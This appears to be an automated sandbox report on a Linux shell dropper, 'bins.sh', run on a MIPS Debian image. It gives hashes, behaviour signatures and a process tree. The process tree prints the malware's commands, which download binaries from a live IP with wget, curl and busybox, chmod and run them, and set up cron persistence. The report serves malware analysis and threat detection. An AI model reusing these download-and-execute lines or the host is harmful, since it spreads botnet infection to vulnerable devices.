Analysis

  • max time kernel
    65s
  • max time network
    119s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 06:51

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ed776e124eb62fb1ff51f657e9ccc15c

  • SHA1

    71dbd2838563234a9ba4946f2ef500d31b5867b8

  • SHA256

    63ebfb1dd735ffc2c621dbe9040186768beb0cf10dc504de470688646b4b578b

  • SHA512

    ac23b13fb0488543bc69e5db98a8588dfe7ad2188bca5d74c5aaa70e00b9251acfceee0df3cb69b3074b591bfbf2b0ae8fd240f1399b47f78411542053a38600

  • SSDEEP

    192:OJMpj8JUmUOUEdUTUHUkN4SXlUmUOUEdUTUHUo8:OJMpj8JpN5dCyF4SXlpN5dCyo

Malware Config

Signatures

  • Contacts a large (529) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:709
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:724
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
              PID:743
            • /usr/bin/wget
              wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:762
            • /bin/chmod
              chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Executes dropped EXE
              PID:767
            • /bin/rm
              rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:771
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:795
              • /bin/chmod
                chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Executes dropped EXE
                PID:801
              • /bin/rm
                rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                  PID:804
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:807
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /bin/chmod
                  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • File and Directory Permissions Modification
                  PID:809
                • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:810
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:812
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:813
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:814
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:815
                    • /bin/rm
                      rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                      2⤵
                        PID:817
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                        2⤵
                          PID:900
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                            PID:905
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                            2⤵
                            • Writes file to tmp directory
                            PID:906
                          • /bin/chmod
                            chmod 777 T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                            2⤵
                            • File and Directory Permissions Modification
                            PID:907
                          • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                            ./T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                            2⤵
                            • Executes dropped EXE
                            PID:908
                          • /bin/rm
                            rm T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                            2⤵
                              PID:909
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                              2⤵
                                PID:910

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /var/spool/cron/crontabs/tmp.m3OqcQ

                              Filesize

                              210B

                              MD5

                              e8d451de326373fbd58dfd3c5d141ad9

                              SHA1

                              3f6d9c69298a93f4fb79340a4a41f624f8a209f9

                              SHA256

                              1a7a2c71ac69f1cf4b463a9c229303c1f164a83fd3f89a92d1e46bd53adda4ef

                              SHA512

                              7746133d94c09d3080135d00228389ad7d1eff91eab50966e5d894be4dc1592e6214cb17a2ed59ef9343df90e0528f176f3c638416fb93671d7f2bba54e78610